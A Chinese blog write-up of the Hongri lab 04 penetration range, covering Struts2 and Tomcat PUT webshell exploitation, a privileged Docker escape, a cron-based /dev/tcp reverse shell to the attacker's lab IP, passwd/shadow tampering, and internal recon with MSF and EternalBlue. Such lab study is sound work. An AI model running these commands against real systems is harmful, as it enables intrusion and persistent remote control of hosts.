红日靶场04通关记录

admin 2022年5月23日01:50:13评论320 views字数 4466阅读14分53秒阅读模式
红日靶场04通关记录

点击上方“蓝字”,关注更多精彩


0x00 环境搭建

1、新建一个仅主机网段192.168.183.0/24来模拟内网网段

红日靶场04通关记录

2、再新建一个仅主机网段192.168.157.0/24来模拟外网网段

3、三台机器配置如下

红日靶场04通关记录

4、开机顺序——>DC——>WEB——>win7

ubuntu老版本在这里找到terminal

红日靶场04通关记录

5、WEB机器ubuntu,sudo su切换到root

红日靶场04通关记录

先用docker ps -a来查看开过哪些容器

红日靶场04通关记录

再逐个开启sudo docker start,如果容器ID字母唯一,可以省略写

sudo sudocker ps -adocker start ec 17 09 bb da 3d ab ad

红日靶场04通关记录

6、互相ping通后,存一个快照。

红日靶场04通关记录

0x01 外网渗透

信息收集

红日靶场04通关记录

struts2 RCE

1、访问2001端口,是一个struts2框架的文件上传页面,可以考虑绕过、struts框架攻击等

红日靶场04通关记录

这里我直接使用struts2工具getshell

红日靶场04通关记录

而且存在一些语言环境,能够出网

红日靶场04通关记录

直接msf生成一个木马,远程下载运行上线即可。

红日靶场04通关记录

通过ls -alh查看有无.dockerenv以及cat /proc/1/cgroupdevices字段来判断此为docker环境。

红日靶场04通关记录

还可以使用msf的后渗透模块来判断是否为docker环境

红日靶场04通关记录

tomcat PUT写入木马

1、访问2002端口,是一个tomcat,可以考虑爆破后台、RCE漏洞、PUT方法写入webshell等。

红日靶场04通关记录

2、后台显示403,看来爆破是不可能了,403的原因有很多,例如没有配置默认账号密码;配置不当;无访问权限等。

红日靶场04通关记录

3、尝试抓个包改GET方法为POST,然后再改请求方法为PUT,再根目录后面写一个1.txt,请求正文写入一个内容,测试返回包为201,看来漏洞存在,是因为根目录的web.xml开启了PUT方法,但是注意,虽然开启了PUT方法,还是不能直接上传jsp木马

红日靶场04通关记录

4、4、需要在文件名后面加一个/就可以成功绕过了。

红日靶场04通关记录

随后冰蝎成功连接木马

红日靶场04通关记录

使用冰蝎的反弹shell功能,获取一个meterpreter

红日靶场04通关记录

phpmyadmin

1、访问2003端口是phpmyadmin页面,属于未授权.

红日靶场04通关记录

关于phpmyadmin的攻击方法在红日靶场01我们介绍过,不过这里多了一个getshell的方法:CVE-2018-12613。远程文件包含session(对应版本:phpmyadmin 4.8.1),通过phpsession序列化数据保存至session文件,包含其缓存文件。通过一句话木马,进而包含sess_sessionId文件,这里不复现了,有兴趣的童鞋可以查查。

0x02 docker特权模式逃逸

什么是特权模式?特权模式于版本0.6时被引入Docker,就是docker在启动容器的时候,加了--privileged参数,例如docker run -it --privileged xx /bin/bash从而可以实现docker容器数据卷的挂载与文件共享,同时容器的root权限为真实物理机的权限;如果不加--privileged参数,容器中的root其实就相当于宿主机的一个普通用户。

总之一句话:当管理员执行docker run —privileged时,Docker容器将被允许访问主机上的所有设备,并可以执行mount命令进行挂载。

可以通过fdisk -l来判断容器是否以特权模式启动,如下图:

红日靶场04通关记录

红日靶场04通关记录

那么我们就可以创建一个文件夹,将宿主机根目录挂载至容器目录下。使用fdisk -l来查看linux机器所挂硬盘个数以及分区等信息。

红日靶场04通关记录

tomcat容器中新建个空目录,将宿主机根目录挂载至容器目录下

 cd /tmp mkdir docker mount /dev/sda1 docker #将宿主机根目录挂载至容器目录下 ls / -alh docker #查看docker文件夹,即宿主机的文件夹

红日靶场04通关记录

0x03 宿主机上线

关于docker特权模式逃逸进行宿主机上线的方法,有下面这几种:

1、写入ssh公钥(复现失败)

在宿主机的home下面发现了ubuntu用户,于是使用kali生成公钥,并且通过冰蝎上传tmp.pub

 ssh-keygen -f tmp chmod 600 tmp

红日靶场04通关记录

 cp -avx docker/home/ubuntu/.ssh/id_rsa.pub docker/home/ubuntu/.ssh/authorized_keys cat tmp.pub >> docker/home/ubuntu/.ssh/authorized_keys

我这里没有复现成功,写入公钥后使用ssh -i指定私钥连接还是要输入账号密码。

红日靶场04通关记录

2、更改/passwd和shadow文件(失败、不推荐)

拿到了/etc/passwd/etc/shadow,直接写入一个用户进去就行了。

这里查看一下自己kali的用户,有一个本地用户sss,我就复制它的passwdshadow信息就行了。我这里sss用户的密码为1

红日靶场04通关记录

红日靶场04通关记录

echo 'eee:x:1000:1000:eee,,,:/home/eee:/usr/bin/zsh' >> docker/etc/passwdecho 'eee:$y$j9T$Yejs1Jh/TSXV7J9EjXM6P1$E3fn5LuSScZWIYVhHzMxcDtbB2wg3L4oKNEnWUF6oED:19132:0:99999:7:::' >> docker/etc/shadow

红日靶场04通关记录

然后使用ssh去连接,还是失败了,也不推荐,不过思路倒是不错。

红日靶场04通关记录

3、计划任务反弹shell(成功)

由于通过ls -alh docker/home看到宿主机是ubuntu系统,ubuntu系统计划任务反弹shell相较于centos的条件比较复杂。按理说写入计划任务重启cron就可以,但是这里的docker环境无法重启cron, 这里踩了很多坑,也在网上看了不少师傅写的反弹shell,都没有成功。

红日靶场04通关记录

后来发现最大的坑点可能就是应该写入etc/crontab而不是/var/spool/cron/crontabs。之后出一篇文章专门来研究一下ubuntu计划任务反弹shell的问题。这里就放成功的命令:

 #新建一个.sh文件并加执行权限 touch docker/tmp/test.sh chmod +x docker/tmp/test.sh ls -l /docker/tmp/test.sh # echo "#!/bin/bash" >> docker/tmp/test.sh echo "/bin/bash -i >& bash -i >& /dev/tcp/192.168.157.5/11111 0>&1" >> docker/tmp/test.sh cat docker/tmp/test.sh #或者直接一条命令 sed -i '$a/bin/bash -i >& bash -i >& /dev/tcp/192.168.157.136/13122 0>&1' docker/tmp/test.sh #写入计划: sed -i '$a*/2 *   * * *   root bash /tmp/test.sh ' docker/etc/crontab

红日靶场04通关记录

那么这里就是一个完全的ubuntu宿主shell,随后远程下载msf木马上线

红日靶场04通关记录

0x04 内网渗透

红日靶场4如果不是一气呵成打下来,隔几天打一次的话很容易崩溃,我这里内网信息收集完毕之后,测试了永恒之蓝之后机器崩溃了,就不玩了。

本机信息收集

id         查看当前用户的权限和所在的管理组uname -a       查看linux版本内核信息whereis python python2 python3 java php go perl ruby rust curl wget 查看可利用的命令cat /proc/version 查看内核信息cat /etc/*release 查看linux发行信息dpkg -l       查看安装的包crontab -l     是否有计划任务/sbin/ifconfig -a 查看ip地址等cat /etc/passwd   普通用户可以查看用户的信息cat /etc/shadow   账号密码信息cat /root/.mysql_history 查看mysql历史操作cat /root/.bash_history 查看用户指令历史记录find / -perm -u=s -type f 2>/dev/null     匹配高权限的文件,看是否有利用点

红日靶场04通关记录

内网主机存活

for k in $( seq 1 255);do ping -c 1 192.168.183.$k|grep "ttl"|awk -F "[ :]+" '{print $4}'done

红日靶场04通关记录

 ./fscan_amd64 -h 192.168.183.0/24

红日靶场04通关记录

主机与端口探测

use auxiliary/scanner/discovery/udp_probe

红日靶场04通关记录

use auxiliary/scanner/smb/smb_version

红日靶场04通关记录

use auxiliary/scanner/portscan/tcp

红日靶场04通关记录

永恒之蓝正向攻击

攻击域控失败,攻击win7也失败

红日靶场04通关记录

看了看网上师傅的复现手法,基本都是永恒之蓝打的域成员机器,有些师傅们做了msf路由就直接打成功了,大多数都是用kali直连的靶机。我这边做了代理也是不行。后来机器坏了,就没有再打。不过有了前面红日靶场1-3的基础,红日靶场4的内网就很简单。这里说一下思路:

永恒之蓝拿下域成员机器——切换域成员账号利用mimikatz抓取密码——利用ms14-068等域提权抓取黄金票据——攻击域控成功。

0x05 涉及到的知识点总结

1、struts2漏洞利用

2、tomcat漏洞利用

3、phpmyadmin获取webshell

4、docker利用特权模式进行逃逸

5、ms14-068域提权攻击域控

红日靶场04通关记录

往期推荐

攻防对抗 | docker快速部署Hfish蜜罐

实战经验 | 解决ssh链接VPS掉线问题

内网渗透 | 文件共享服务与ipc横向详解

内网渗透 | JS脚本下载payload与代码分析

内网渗透 | 内网隐藏技术之我见

红队建设 | 入侵痕迹抹除

红队建设 | 网络钓鱼技术

红队建设 |  流量加密

红队建设 | certutil详解

每日技巧05 | VM16安装macOS

Clash RCE漏洞复现与高级利用(配合社工)

CVE-2021-4034 Linux Polkit本地提权漏洞

CVE-2021-31760 Webmin CSRF致使RCE

CVE-2022-22965 Spring core RCE漏洞

          CVE-2020-1472 ZeroLogon漏洞复现利用(Netlogon域提权)

郑重声明该公众号大部分文章来自作者日常工作与学习笔记,也有少数文章是经过原作者授权转载而来,未经授权,严禁转载。如需要,请公众号私信联系作者。

请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与原作者以及本公众号无关。

红日靶场04通关记录
红日靶场04通关记录
扫码关注
人若无名便可潜心练剑
专注渗透测试、工具开发

原文始发于微信公众号(HACK技术沉淀营):红日靶场04通关记录

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年5月23日01:50:13
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   红日靶场04通关记录http://cn-sec.com/archives/1036963.html

发表评论

匿名网友 填写信息